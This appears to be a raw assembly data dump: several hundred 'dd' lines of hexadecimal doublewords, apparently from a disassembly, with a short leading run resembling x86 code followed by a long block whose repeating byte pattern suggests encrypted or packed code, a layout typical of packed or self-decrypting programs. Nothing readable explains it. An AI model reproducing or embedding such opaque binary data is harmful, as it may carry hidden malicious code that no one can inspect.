		dd 8D527C98h, 0D7BDF98Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7E523D5Bh
		dd 89067E24h, 0D11B518Dh, 59958907h, 0C707D133h, 0D12D5585h
		dd 6D7C07h, 0C7FE8B00h,	0D11D3985h, 7, 0C840F00h, 0F000000h
		dd 683h, 29958900h, 0FF07D12Bh,	0D11AD1B5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0DD70CEF7h, 5519CB81h, 95FF5378h, 7D11801h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B6C35646h, 4793E45Fh
		dd 0B6C70962h, 12E829h,	78940000h, 9C671254h, 77DB67E7h
		dd 16C32F69h, 17E59733h, 0C198D89h, 0F5B07D1h, 0B84h, 5850F00h
		dd 0BE000000h, 6458A88Dh, 95FF006Ah, 7D10055h, 2FEBC08Bh
		dd 0A6DDA9AAh, 798D73EDh, 699FE2CCh, 0A9EB6847h, 0D588D5BCh
		dd 5A15606Ch, 7AF51282h, 180226B6h, 0A3EDD65Fh,	7EB47740h
		dd 0C5F2C016h, 53E29208h, 5DB16689h, 0AEB8B559h, 58D13256h
		dd 13D7CCE9h, 0D5D079DAh, 6DB36856h, 75B13259h,	0BAB13BBEh
		dd 9CA51C56h, 55A60EEh,	0ABEF69F3h, 0A4B13237h,	0D5B133DEh
		dd 0DB2DCA56h, 75B0300Ch, 0BA443256h, 5DB1CA56h, 0AEA4BF59h
		dd 47583256h, 0CAB13256h, 33ECB26Eh, 636F5522h,	5F5EC6D3h
		dd 0BA41E111h, 55393D56h, 0A1B13256h, 57B130DEh, 0ABD05256h
		dd 0DB353D56h, 3B13256h, 75B1325Fh, 147D5733h, 0ECDC1D65h
		dd 0A1B132CFh, 57B122DEh, 0ABBADB56h, 58693256h, 0AC1F7B56h
		dd 38A109D3h, 0E490AFE6h, 5DB13E56h, 1DC3C556h,	3535957h
		dd 616C578Ah, 0D5B15339h, 0EAB9BD59h, 0F5D13256h, 4C317BB0h
		dd 23585368h, 0AEB03236h, 57443256h, 12D75256h,	173150EFh
		dd 0EAB15309h, 15B132AEh, 0BAB135BFh, 22E77C56h, 99E3FE9Fh
		dd 37B13237h, 0ABB2BC59h, 15313256h, 0E3585256h, 0C1B13256h
		dd 22CC24B3h, 980A4B84h, 0CFD05336h, 0D1BE3256h, 0ABB13245h
		dd 0D5B13CBFh, 0ABD6BF56h, 42DC9FAEh, 0E4335C84h, 5D54437Eh
		dd 0A2323D56h, 0BEB13256h, 0ABB13251h, 2285EDBEh, 0EAB8069Fh
		dd 743C3D56h, 4FB13256h, 1D44B236h, 0CF718D59h,	58443256h
		dd 0ABB13ED9h, 0D3313D56h, 0E5B13256h, 75B132DBh, 53B13256h
		dd 5DB13244h, 0CB3B6A20h, 66D73CADh, 46B230C5h,	0BA270BB8h
		dd 0EAB1E0D9h, 75A5BF59h, 0B5583256h, 26B13256h, 0C55F9D31h
		dd 0F0E02A7h, 8928FD5Bh, 0D5B1A0A2h, 0EAA0DB36h, 1B553256h
		dd 19E2F58Ah, 0F2794C58h, 5AADB0Fh, 0BE3103E3h,	0ABB13253h
		dd 1AD669A0h, 0EAB15325h, 75B13FBFh, 0A772FE56h, 0F77EFAC8h
		dd 586DDD20h, 57B141D9h, 0ABBBB059h, 0DAD13256h, 0EAB132DAh
		dd 14E96456h, 0B8353D36h, 3DB13256h, 6D3A5437h,	0BEB13237h
		dd 0ABB13242h, 7FD9B2EBh, 7C22374Fh, 22F65C47h,	22ACDF96h
		dd 839FEC24h, 0C8D13256h, 0D7C4AAEFh, 0ABD0D780h, 0D5B1CE56h
		dd 0EAB135BFh, 25020156h, 0CA2F27AAh, 4F583256h, 0A3B13256h
		dd 0D6A89C04h, 9D0B86F5h, 0E128DB01h, 0F728820Fh, 725852FAh
		dd 0DBB13256h, 3BA27197h, 0AED0F93Ah, 57BCDB56h, 95AE3256h
		dd 4C1FE021h, 0E25ACB25h, 75BC3B9Eh, 0BABBDB56h, 44EF3256h
		dd 7A9087h, 2116B6E6h, 0A94D3256h, 0DDB13256h, 0E5B13256h
		dd 75B130D0h, 0BAD05256h, 5DB7DB56h, 16EA3256h,	0C411DB8Ah
		dd 0ABB3358Eh, 0D5AB3254h, 0EA8B3252h, 74633260h, 818A94D5h
		dd 0DBCA4968h, 0BD586CC1h, 0A6B13256h, 0CB31B7CBh, 4D16348Fh
		dd 7A93AFAAh, 16A4E9EBh, 0BAB1FE85h, 5DB120BFh,	78693B56h
		dd 178DED36h, 0F8622A80h, 0FA4CBF79h, 0EAD633C1h, 743F3D56h
		dd 43B13256h, 5D483256h, 0B0333D56h, 58B13256h,	0ABB12AD9h
		dd 0D5A2DB56h, 2C3D3256h, 4D8BC65Ch, 83F9C365h,	0CD15850Eh
		dd 36327279h, 37B132BEh, 0ABA3DB06h, 0D0A73256h, 858E094Ch
		dd 7B3BC108h, 0A9341C51h, 308EFB96h, 25D7600Ch,	57D06880h
		dd 0B2313D56h, 0B5B13256h, 0EAB13EBFh, 82316056h, 323BB13h
		dd 0CD74F8C5h, 0BF47B390h, 36BE83DFh, 34CD8A36h, 47053DB4h
		dd 8AB13237h, 75B13DBEh, 359AE56h, 43FADB3Fh, 20228FCEh
		dd 6747558Ah, 0E70B8D30h, 33A540Ch, 0B2B13237h,	75B13854h
		dd 0E2E65256h, 5DB1BE59h, 0AED03256h, 81315256h, 0BD393D18h
		dd 3CB13256h, 0EAB13247h, 2B94BCECh, 6BDB8A7Fh,	59E2287Bh
		dd 0E9F00E38h, 0D5BE53A6h, 0ABB1325Eh, 0D5B3B359h, 8BD13256h
		dd 77E93256h, 0BAB13254h, 5DB15336h, 0AEB9BA59h, 0D8BE3256h
		dd 0ABB13254h, 3CE25336h, 0EAB1325Dh, 276C86D1h, 24681275h
		dd 0D4247E29h, 0FE541652h, 5E586006h, 36B13256h, 4C51D144h
		dd 0BFBD0D08h, 73580359h, 8CB13256h, 9FBC9661h,	3DE96885h
		dd 91103AFDh, 0F96C86D1h, 4B57B375h, 3B3B777h, 75B13242h
		dd 211BA71Ah, 2AC7236Eh, 0BDB37FB2h, 38FF7B06h,	20EB372Ah
		dd 8DEB53CBh, 32D5206h,	75B13244h, 33131E4h, 281D6DA8h
		dd 5F29495Ch, 7AF56580h, 6330C134h, 0E35ED9F8h,	0EAB126BFh
		dd 0CF54EE56h, 3CD0FA3Dh, 4F2C4611h, 0F028D2B5h, 3DE43E69h
		dd 0A059AF0Dh, 0E2B13256h, 39733FF2h, 5ABF3B46h, 532DF76Ah
		dd 5DB1325Bh, 7A96D417h, 1772402Bh, 0C7AE8C2Fh,	8D78B263h
		dd 0EAB134BFh, 71A6A456h, 270210BBh, 0EB21530Eh, 0EC3C16E1h
		dd 0C1D0AF05h, 0D42FEB0Eh, 2031A71Ah, 0EAB7DB6Eh, 2C73256h
		dd 0A9B37FB2h, 3CE968CBh, 957B070Eh, 36EA63CBh,	0EF386A0Ch
		dd 87E13672h, 0B8E16006h, 2DEB0359h, 0B7580359h, 7CB13256h
		dd 0F3853510h, 0E119184h, 0BE7DCD48h, 0E4BE6A0Ch, 0EAB134BFh
		dd 1146C456h, 0E022B09Bh, 4AB46A0Eh, 0EB4539D0h, 3D6E2C7Eh
		dd 42D13256h, 0D5B13246h, 4B119508h, 14E34C8Eh,	0AE95CE27h
		dd 2F0A72E1h, 4F305237h, 2ABB7421h, 2C148830h, 0DAB13237h
		dd 0EAB133D9h, 75B1CB56h, 0BAA3BB59h, 0DDBE3256h, 0AEB1325Ah
		dd 57B135BFh, 0D578C356h, 7D5A6B87h, 0E5D13256h, 75B139D2h
		dd 0BAB7DB56h, 0AA423256h, 9CF5DCE8h, 3660B930h, 2EBE3256h
		dd 0D5B1324Eh, 0EABADB36h, 78D03256h, 23706588h, 478FCA8Ah
		dd 0DD53B310h, 36B4F6B3h, 0AB493256h, 0C63F3D56h, 0E5B13256h
		dd 75B13FD1h, 0BAB9DB56h, 0DE393256h, 69F267B6h, 57B120D6h
		dd 0AD303D36h, 0DAB13256h, 0EAB132DAh, 75BEDA56h, 0BA853256h
		dd 8455AF60h, 1B852724h, 0F0296A52h, 633A541Ch,	0D548530Fh
		dd 0EAB1CB56h, 75B120BFh
		dd 0A60B6856h, 76B413CFh, 0DD5B8F0Fh, 9B2C3CD6h, 0ABDD7890h
		dd 0DD585256h, 0AEB13256h, 5D1D367h, 939FE89h, 5DB15363h
		dd 0AEB137BFh, 7F084B56h, 0ABB1C854h, 0D03F3D36h, 8CB13256h
		dd 0D032D9D7h, 0F740B330h, 5DB15358h, 0AEB126BFh, 3EBB9F56h
		dd 43825392h, 5945F6E0h, 0F223DCB2h, 5726C899h,	53B13244h
		dd 5DB13245h, 4BA72FDDh, 0E625E636h, 0E6DF85D4h, 7B0670F8h
		dd 38B82B2h, 75B1325Fh,	7897C4B3h, 5608E81Bh, 56B132B7h
		dd 57493256h, 0A23F3D56h, 0B5B13256h, 3E098830h, 1449B930h
		dd 1D75236h, 5259DB41h,	2CB13256h, 0F8BB7114h, 5BA87D5Dh
		dd 2B835B36h, 8BEFFE8Ch, 75D03FE0h, 0BABFDB56h,	17A53256h
		dd 0F48B1C34h, 6266E6C7h, 7B256725h, 0B3D13256h, 0BAABF5D7h
		dd 15368A30h, 34BE5237h, 5DB13252h, 3F918B30h, 57BCB159h
		dd 0A3583256h, 0E1B13256h, 3982A05Dh, 14E3BA0Ah, 35BE3256h
		dd 5DB13251h, 0AEB0B059h, 58483256h, 0ABB133D0h, 0D5B1C756h
		dd 0EAB13ABFh, 623FCE56h, 8EE1691Fh, 3DB13250h,	0BC5912E0h
		dd 56B13256h, 0CABF0EFBh, 2BE87803h, 911EC8E1h,	6A355A0Ch
		dd 0DE46B21Ch, 5DB1530Dh, 0AEB13EBFh, 63E0E756h, 0B5A44E47h
		dd 1F4F90F4h, 1FB13294h, 0F5D13256h, 3BD10CBBh,	0C36EAB99h
		dd 44305446h, 36D0BC41h, 0AB4D3256h, 0DF58CE56h, 1EB13256h
		dd 6A800849h, 330C6C07h, 3DB1326Ch, 0AB58EDDDh,	7DB13256h
		dd 88B9364h, 0DE585237h, 81B13256h, 27D101AFh, 40641435h
		dd 0D6D72C13h, 0AEB15385h, 57BEDA36h, 0B4AC3256h, 491608FBh
		dd 242EA371h, 0A6407E1Eh, 0BAB4DB2Ch, 0CC053256h, 0F44D6CF8h
		dd 0BEB13237h, 0ABB1325Fh, 75F48E6Fh, 60130449h, 0AA3A5291h
		dd 0DB628D59h, 0A8D13256h, 0CFE96236h, 57BEDB37h, 0AB5E3256h
		dd 4FD7AB0Dh, 30B608DBh, 187ABDDh, 0DAB132E1h, 0B1D0E5D7h
		dd 0A3584A5Bh, 71B13256h, 6C83BAEAh, 0E1E3318Fh, 473231CEh
		dd 7AB13237h, 0BAB134DBh, 0AD3A5256h, 0AED087E6h, 593E3D56h
		dd 0CBB13256h, 160FC2D7h, 64BE0134h, 75B13256h,	0B5B13237h
		dd 5DB133DFh, 0AEB1CE56h, 0ABB132A3h, 42D13256h, 0D5B13245h
		dd 39FD900Eh, 66259C71h, 0BD2580B7h, 0F944EED2h, 0FFA4A808h
		dd 57B13BBEh, 96B1B356h, 37F986EFh, 0B1E8E995h,	75B1CB37h
		dd 0BAA5DBAFh, 6A913256h, 8CA8B379h, 5E657122h,	8C5B9BC7h
		dd 2B4B36C9h, 0EAB19D84h, 75A5BF59h, 3BBE3256h,	5DB13258h
		dd 0AEB13BBFh, 0B465BF56h, 0E700C420h, 0D5B110DEh, 1A063D36h
		dd 75D0C3DDh, 0BAB1CA56h, 5DB139BFh, 9093F956h,	28601ECAh
		dd 0AE4CA18Ch, 0D5B9DA36h, 0A35B3256h, 1EAA9BE6h, 0E04D315Ah
		dd 3C41B930h, 46D13256h, 57B13253h, 0D22EC054h,	1B3A5418h
		dd 220E3D0Eh, 15B13237h, 0BAB7BF59h, 0DEBE3256h, 0AEB13256h
		dd 57D0F3DDh, 0ABB7DB56h, 66513256h, 0A33F64D9h, 78583256h
		dd 0B9B13256h, 86341445h, 0FD746D0Bh, 41EB736Fh, 42B132AEh
		dd 0D5B13258h, 95A5BE52h, 9A25A871h, 0A327F91Ch, 5DB1784Fh
		dd 0AEB13EBFh, 0D8B6D756h, 0DD8C65ACh, 2ED4B80Eh, 3B13258h
		dd 75B13258h, 6DC62FCh,	7C34D66Fh, 0FD9C72EFh, 57B1CF97h
		dd 0ABA9BB59h, 0B3D13256h, 281B7EEh, 75B1325Ah,	773C4DACh
		dd 92AB832Ah, 74D5B03Ah, 57B15309h, 0ABB6DBAAh,	0C99A3256h
		dd 9B63720Eh, 80B132D9h, 0A9583256h, 4DB13256h,	3678A130h
		dd 58282028h, 0E3DB3B79h, 0AD55841Eh, 0EAB19DD2h, 75B134BFh
		dd 57B5DA56h, 5D8FBB8Fh, 2C0F5256h, 31B3D55Bh, 0ABD0C9DDh
		dd 0D5B8DB56h, 0CCA43256h, 8A2E231h, 0DA2EAF25h, 5DB135BEh
		dd 3B7B7156h, 738EF85Bh, 0ABB120BEh, 66C656h, 1CD0A3E7h
		dd 0C94D1B2Ch, 46FDF7E8h, 2350327h, 0AEB15308h,	98305436h
		dd 20D7631Dh, 0D5B153A7h, 0EAB138BFh, 0E1567156h, 579DCACh
		dd 5D515C36h, 0AF3D3D56h, 0ABB13256h, 42D13256h, 0D5B13250h
		dd 766D6FD0h, 0A009281Ch, 0DBADE0FCh, 0D4BE3256h, 0AEB1324Fh
		dd 57B126BFh, 0F574F256h, 0FD6E9E1Fh, 0F31E3A2Eh, 7D75F8C6h
		dd 7154B1ADh, 5DBEDB6Dh, 71253256h, 8BB6116h, 2DDC10BEh
		dd 7DE94677h, 0E5B132DBh, 75B135DFh, 0BB363D56h, 0A8B13256h
		dd 2BBE3256h, 57B13251h, 0ABB0B059h, 0D5443256h, 0EB333D56h
		dd 80B13256h, 31D13256h, 5DA1DBAFh, 2FB73256h, 0C38053C4h
		dd 0F5D7978Ah, 2499EC72h, 0EAD03A81h, 6C393D56h, 0DAB13256h
		dd 0DC087FEDh, 0AEBCDB51h, 0F05D3256h, 97D14F38h, 63FB2A5h
		dd 8BEE3D1Fh, 15B132AEh, 0B5E0F9DDh, 3CEAC8E9h,	2ABE3256h
		dd 57B13257h, 5EB132AAh, 3DD13256h, 0EAB1325Ah,	0FB4EBCE2h
		dd 0CBB35BC6h, 3DC5BB09h, 0AEB120BFh, 1E7CBA56h, 98EBFE67h
		dd 32E8174Dh, 0AB4D8E0Ch, 2C495951h, 795DD4D7h,	5DD0109Fh
		dd 0AEB1CE56h, 57A3B859h, 0A6583256h, 0D6B13256h, 0F18346C5h
		dd 0D5F6434Ch, 0C56256D7h, 790F5436h, 0AEBBDAC9h, 0EAF93256h
		dd 1B812E95h, 122E52C0h, 0EAD069AAh, 610F5256h,	0E8F06713h
		dd 0ECDD50E9h, 0AED06B1Fh, 57B4DB56h, 72DB3256h, 20AEBBDEh
		dd 0FE583256h, 0B1B13256h, 153D3F39h, 250E22EBh, 0ED961C8Fh
		dd 0CA780CCFh, 0AB9FFC7Bh, 0D5B1C756h, 0EABDDBAEh, 3E6B3256h
		dd 0E62C6C67h, 6A8FED44h, 0AEB148BBh, 0ABB132AAh, 0AB4D3256h
		dd 0D5B1CE56h, 8AB132A3h, 75B139BEh, 7C514C56h,	50EDF450h
		dd 8F39537Dh, 57B1B959h, 0CAEA3256h, 5CBE3256h,	0EAB1325Bh
		dd 75B13ABFh, 0AC1FAB56h, 6A285866h, 0A1B13208h, 57B133DFh
		dd 0ABB1CB56h, 0D5BEDB36h, 0F2683256h, 0FC81F96Ah, 87A9A281h
		dd 0DDE54417h, 0AEA1DA0Fh, 288E3256h, 10AA2B2Eh, 0F4E45CD9h
		dd 50DF68FFh, 2A44799Eh, 46B13237h, 0DBBE3256h,	0AEB1324Ch
		dd 57BCDA36h, 0A5003256h, 835E62EAh, 707B1478h,	2D161C0Fh
		dd 0B651B330h, 0D9BE5311h, 0AEB13257h, 37B132AFh, 0ABB134BFh
		dd 81BA1456h, 8BC6F651h, 9C483256h, 0BAB1325Ah,	50CAEA42h
		dd 0EA959E36h, 595B9456h, 0AB443256h, 0C5585256h, 58B13256h
		dd 0C1BDDCE0h, 95B6776Bh, 0ED9BFC07h, 479B8816h, 57B13242h
		dd 3D126924h, 757B9677h, 41FFB3FCh, 0DDFB08E8h,	0BCE4C7D9h
		dd 52B13237h, 0AEB12AD9h, 57A2DB56h, 0D8343256h, 6B87A1F3h
		dd 0E2A967C9h, 1A5CD899h, 0DEC9760Ah, 52B1324Eh, 0AEB134D2h
		dd 36D15256h, 0ABD05336h, 0D5BDDB56h, 0D97E3256h, 2DF3DBA8h
		dd 0BE899760h, 5DB1276Bh, 47B132A3h, 57B13245h,	0B2F4B56Bh
		dd 0FDA29FB8h, 889625BAh, 0D349867Fh, 0BA628B04h, 5DA3DB56h
		dd 5D1D3256h, 0B2CB88A6h, 0BA92680Ah, 52DA1667h, 7E300285h
		dd 9CD13256h, 0BAB13242h, 0FDCE853Fh, 95B53C1Fh, 9A928427h
		dd 6BFFE614h, 9C04E12Ch, 195FB330h, 75B153BBh, 0B93D3D36h
		dd 0DDB13256h, 0FDE2F9BFh, 57D06C0Fh, 0BA353D56h, 3CB13256h
		dd 0EAB1325Ah, 6A40D229h, 57EE8747h, 30058E84h,	0AE443256h
		dd 5F373D56h, 0CBB13256h, 5284E0D7h, 0EAD062A9h, 170E5256h
		dd 2A95FE8h, 3C5653B0h,	0A1B13237h, 57B134DDh, 0B8065256h
		dd 0D5D05336h, 0E03D3D56h, 9CB13256h, 0BAB13253h, 795DD51Dh
		dd 0B3393DD2h, 37B13256h, 42408559h, 0D5B13245h, 9ADC8E77h
		dd 0FA45D774h, 0BF94BD7h, 0D543E7B8h, 0CFFCC5CEh, 31D13256h
		dd 2F00C3D7h, 0D5B3BE59h, 8BD13256h, 7AB13237h,	0BAB13BD4h
		dd 0E2BE5256h, 0CA0A5498h, 57B153BEh, 0A4B132AFh, 0D5B13EDAh
		dd 0EC323D56h, 7AB13256h
		dd 0BAB132D6h, 0B4B13256h, 0AEB1325Ah, 34FB45F0h, 5A6204C8h
		dd 0F39886BEh, 0EAA2DB36h, 31FB3256h, 905B0808h, 0FFD151E2h
		dd 0D841ED52h, 42732CE3h, 97BE8AD2h, 0D5D03442h, 0E5E65256h
		dd 75B132D3h, 5BE6D56h,	5A58539Fh, 0C9B13256h, 9A03829Ah
		dd 0ABB1122Dh, 0D10B5436h, 0EAD0CB40h, 75BDDB56h, 6ACB3256h
		dd 0CC18445Ah, 75CAEC9Fh, 0DABE2C6Dh, 0ABB13257h, 2CB132AFh
		dd 0E5D13256h, 0FDBECDE9h, 0BAB13255h, 3CD3FCD6h, 0A1583256h
		dd 6FB13256h, 0F8D8C185h, 2C9E8DCBh, 68D91A39h,	75B1BADEh
		dd 0BAB121BFh, 0F7C78D56h, 4C10F851h, 624B17B4h, 0A394DA4Eh
		dd 93A1DC24h, 0EA483256h, 75BBDB56h, 0AADD3256h, 0A4283682h
		dd 78F685F7h, 0D2BE3256h, 0ABB13240h, 0D5B123BFh, 0BFB52256h
		dd 0F0FC7DA9h, 7DE38EA6h, 0A4A6CCEFh, 0AEB1CA11h, 57BAB559h
		dd 0AD583256h, 0B5B13256h, 1CF80A46h, 7AE252C4h, 0BAB132D0h
		dd 73026A56h, 0CEB13237h, 57B139BFh, 88499556h,	1E050039h
		dd 6808F11Eh, 146BB930h, 0B54D3256h, 5DB138D3h,	2FD75256h
		dd 0D7E157A4h, 0ABD0C6B9h, 56BECB56h, 0EAB1324Eh, 75B121BFh
		dd 54DDE956h, 0DC6DE27Ch, 0C415F3DEh, 92B725D3h, 5AD68F92h
		dd 5ED13256h, 0E1585399h, 0D3B13256h, 798AFC46h, 0CFFD6154h
		dd 0AEB13348h, 57B126BFh, 0AA805656h, 0E171FA2Fh, 0C1A81AE0h
		dd 6D1D86EBh, 1EFBBC8Fh, 0A5B13213h, 47D13256h,	57B13253h
		dd 0BD697B14h, 1F063DFCh, 0E5B13237h, 75B129D1h, 6C305256h
		dd 65E38826h, 0AEB13CBFh, 0F3073A56h, 1F8D2137h, 0A93BBBBBh
		dd 8B30A672h, 89B132AAh, 31D13256h, 5DB153A6h, 763A5436h
		dd 57B123BFh, 0E03C5756h, 0F886884h, 597CC8DBh,	0C58A579Ch
		dd 0B5D0E51Dh, 5DB133D3h, 0AEB1CB56h, 58B132AEh, 0ABB139D0h
		dd 34305256h, 0DE866C4Bh, 1477B930h, 0DCD13256h, 0F86CE1D7h
		dd 5C80E0D7h, 57D023D2h, 0AC595256h, 1B13256h, 88420428h
		dd 9CE9E16Bh, 0BAB1325Fh, 6280688Ch, 65B43313h,	57B153CDh
		dd 0ABA3DB36h, 0B2D33256h, 0C528C07Ah, 0D26437A5h, 66D51E37h
		dd 47B19A83h, 25F48036h, 57D0538Fh, 0AA333D56h,	20B13256h
		dd 0F9583256h, 0EFB13256h, 0C7986FC3h, 0B6686DD7h, 0E540467Eh
		dd 0E2CD8350h, 0ABB1F80Ah, 0D5B13CBFh, 795A0856h, 0A863066Ah
		dd 7A125F57h, 5D80126Fh, 0A3373D56h, 0BEB13256h, 0ABB1325Eh
		dd 9ED58BDBh, 0DB7CD21Dh, 0FFBE3256h, 0BAB1324Fh, 0B5D05236h
		dd 0AEB13259h, 3EDB52CDh, 0B2A00932h, 0ACE70284h, 0B229A151h
		dd 89B13237h, 1D13256h,	300A8E7Ah, 0CEB13237h, 57B3B559h
		dd 0F0E73256h, 0D5B13CBEh, 0FB45C556h, 1179CFEAh, 0B881CC3Eh
		dd 528745E4h, 0AEB132D9h, 57D06D56h, 0BB585256h, 0A3B13256h
		dd 0F32EE018h, 64F3CA36h, 0BE475134h, 0DD0D54B5h, 0AED0198Ch
		dd 57BBDB56h, 6BA3256h,	0D87BF938h, 1AB4D6EFh, 0FBBE3256h
		dd 0BAB13243h, 5DBADA36h, 0E7A53256h, 4677371Ch, 6C815B28h
		dd 0B4D16AF1h, 3B13237h, 75B13259h, 0C16577EEh,	679A229Fh
		dd 1E326A63h, 57B2BAD5h, 0AF393D56h, 0B5B13256h, 0EAD0ECDCh
		dd 75A1DB56h, 912D3256h, 6306E000h, 0F52BCE09h,	0CFAD595Dh
		dd 0ABB1830Dh, 0D5B13CBFh, 0BBB95856h, 0A8797E27h, 0A53AE2D9h
		dd 5DD26D5Dh, 0AEB1C756h, 57BFB259h, 0A4D13256h, 0D5B132D7h
		dd 0EA373D56h, 14B13256h, 0EBD13256h, 45BE9D6h,	0CF52D2D6h
		dd 0E5D13256h, 0EF065213h, 0B4D05336h, 51D13256h, 13E166ACh
		dd 7A063D05h, 56585308h, 6CB13256h, 500E37EBh, 6C25C05Fh
		dd 0D5B1258Dh, 0EAB139BFh, 0B1A14E56h, 0A7583148h, 7968AC6Ah
		dd 47443256h, 57B13251h, 0D46B51B0h, 0D56228FBh, 0EAB1CE56h
		dd 75B13DBFh, 0B3069156h, 702B3494h, 1C280D83h,	0A5BDBE2Ah
		dd 0A4D13256h, 0D5B132D9h, 0FB596156h, 0FDB13256h, 0D0D35C24h
		dd 6A301785h, 26286780h, 62F5C59Fh, 0ABD06D09h,	0D5A5DB56h
		dd 0A7FE3256h, 270DC2D3h, 0AD4F8B91h, 1E4975AFh, 367046EEh
		dd 57B10250h, 5EB132AFh, 3DD13256h, 0EAB13259h,	0D1319B61h
		dd 0F113636Dh, 0E75D2F0Fh, 46F1D668h, 57B13253h, 704D9C09h
		dd 0DAEB6C5Ch, 0EAD0F2E1h, 7B393D56h, 0DAB13256h, 5DB1BF59h
		dd 2FBE3256h, 57B13256h, 42B13237h, 0D5B13246h,	0E6D19FABh
		dd 71402530h, 0F95DC632h, 0D55937DAh, 2BBE3256h, 57B1325Ah
		dd 0ABB7BD59h, 50BE3256h, 0EAB13256h, 7A493256h, 0BAB133D8h
		dd 5DB1CE56h, 57B132AEh, 46583256h, 8EB13256h, 0DF40B762h
		dd 944BB6F3h, 130C0F4Ah, 437B7DB0h, 52583256h, 82B13256h
		dd 0E75763A1h, 672FCB1Ah, 614EE66Fh, 0BDD14FB0h, 13EA5336h
		dd 0DB57C4ECh, 5D483256h, 0B63E3D56h, 0BEB13256h, 0ABB13245h
		dd 58A338FAh, 65875094h, 66FA3EE5h, 915B7718h, 5D75D822h
		dd 0AEBCDB56h, 57043256h, 74FE93B7h, 1EE3EA03h,	0E52A03A8h
		dd 75B133D9h, 0BAB1CE56h, 5D93BB59h, 47D13256h,	57B1325Eh
		dd 7A543373h, 28B7CD80h, 0EAB13CBFh, 0EBB39656h, 22F03511h
		dd 38854D0h, 0CF04CBC3h, 57BBDA36h, 4CA13256h, 0BCF0340Dh
		dd 0E2637357h, 14F38008h, 0BA493256h, 0AA315256h, 0D67B390h
		dd 3697EDD2h, 0AB4D3256h, 0D5BEDB56h, 0A8673256h, 0F1F9C419h
		dd 8307E529h, 92568658h, 0A1B132A5h, 57B135DBh,	0AA353D56h
		dd 29B13256h, 0E5D13256h, 7AD0FCE1h, 0BAB13CDAh, 5DB8DB56h
		dd 0E67A3256h, 38338B95h, 0AB60282Dh, 0D5A2DB56h, 473A3256h
		dd 5369CBB8h, 22FD939Ah, 9A6C22FDh, 67FE095Ch, 57B1CB2Ah
		dd 0ABB120BFh, 5D494456h, 2AA062A8h, 0F2E5B9B1h, 90DFF8E4h
		dd 5DDCDF06h, 0B2393D56h, 37B13256h, 0ABB121BFh, 2AD3E756h
		dd 18C31664h, 0CF7931F9h, 0DE503FB4h, 0CE24F65h, 0AED0CBDCh
		dd 57A2DB56h, 45B63256h, 2A69AA05h, 0D1DEF0BEh,	1EE5FD24h
		dd 67F6F601h, 52B132B2h, 0AEB12ED4h, 41383D56h,	42B13256h
		dd 0D5B13247h, 0B753585Dh, 1B00FAD6h, 0C4313171h, 0C9F2861Ch
		dd 52B132C0h, 0BEB132A3h, 0ABB13250h, 33C4B325h, 0EAB106CAh
		dd 75B135BFh, 96191356h, 0BAE2F98Bh, 0A6583256h, 33B13256h
		dd 141586E3h, 0D59247FAh, 5BD1CB56h, 0CABE63A0h, 0BAD06D91h
		dd 5C393D56h, 5BB13256h, 574D3256h, 0ABB8DB56h,	75B43256h
		dd 9C9A4E89h, 751A4958h, 423A5256h, 55500AE8h, 0AEB1534Ch
		dd 57B121BFh, 8E8A2A56h, 619C616Fh, 0CA31778Ah,	5233F3E8h
		dd 40DEA931h, 5D443256h, 0A158CA56h, 0F4B13256h, 12033641h
		dd 0A2C2DDA5h, 85B256A7h, 75B1D244h, 0BAB1CAAEh, 3DB132AFh
		dd 0AEB0B459h, 0DC483256h, 0ABB153AEh, 0D73D3D36h, 8AB13256h
		dd 75B9DA37h, 0AC43256h, 0C51AF273h, 0F44DD696h, 37B13237h
		dd 0ABB138BEh, 0FFD62256h, 8E0255D9h, 9C1586E3h, 0BAB13244h
		dd 47A9E597h, 71AA8F06h, 248BE397h, 29285D86h, 0B3E87DD9h
		dd 0EAD0FADDh, 0C50E5256h, 0DA80E3C0h, 0B1E239E9h, 0F3548801h
		dd 36D0405Bh, 0CDD13256h, 0B59261EDh, 0EAB13EBFh, 5BAE7A56h
		dd 53F0B4DBh, 78A3E085h, 0CFEA65BCh, 37B13237h,	43698559h
		dd 0D5B1325Eh, 6DEE7D77h, 2C823201h, 0BDDDF9E8h, 5DD06C79h
		dd 6D305256h, 5F963C17h, 0ABBCDA36h, 6E3F3256h,	9F95F9E6h
		dd 0FC8370DDh, 0E4243817h, 5DD053AEh, 10D75256h, 0DCBE980Bh
		dd 0ABB13255h, 0B440B930h, 8AB132AEh, 21CAEBD7h, 3BD71367h
		dd 3C2E3E9Eh, 21BE3256h, 57B13244h, 0ABB13FBFh,	9FECCE56h
		dd 9D4EBF87h, 75FF268Bh
		dd 0B4585816h, 0E2B13256h, 585B8C0Dh, 81BEF8ABh, 87050F8Bh
		dd 3CB1329Fh, 0EAB1325Ah, 0E3F82A6Ah, 0F7AD9CE9h, 0F1D6D0D2h
		dd 0AE443256h, 31E65256h, 3F92F8D7h, 0D5D0CA09h, 0EAB1CB56h
		dd 75B1CAAFh, 0BAA3BB59h, 50583256h, 10B13256h,	5E4030BFh
		dd 0DB32AAE2h, 0B2CB22Eh, 66BE3256h, 75B13253h,	4D3ACE36h
		dd 5DB9DB37h, 0BA213256h, 204B9D85h, 0ABB13F38h, 9577B236h
		dd 16B13237h, 75493256h, 0B6353D56h, 52B13256h,	0AEB134D4h
		dd 57353D56h, 0ABB13256h, 0D5B1CB56h, 0EAB138BFh, 0F7B1B256h
		dd 0F72B9466h, 5DCBD274h, 0AEA1DB56h, 31BF3256h, 0A8B3A167h
		dd 4388DCBBh, 7C63BD39h, 75B13B04h, 0DAB132AFh,	3C44CADCh
		dd 0A2583256h, 23B13256h, 0D1C12700h, 0F8668EB5h, 8A4CAB86h
		dd 14498559h, 0AE583256h, 5AB13256h, 9DE1C2FFh,	0E4BD497Fh
		dd 18EB7EADh, 0F2D31FBFh, 0E5601DD1h, 75B12BD7h, 0A9303D56h
		dd 0B4B13256h, 0AEB13258h, 782B0ABDh, 38FB357Ch, 77EDFF3Bh
		dd 0EAB18E3Eh, 71343D36h, 0DCB13256h, 0B5DC62E8h, 0AEB13259h
		dd 5090B914h, 7C2206DDh, 6DCCC43Ch, 6A614FC8h, 14EE078Ch
		dd 0BA483256h, 553B3D56h, 0A1B13256h, 57B130DBh, 0A4D05256h
		dd 0D5B138D8h, 55BE5256h, 0E52B899Ch, 0BAD069E9h, 5C3E3D56h
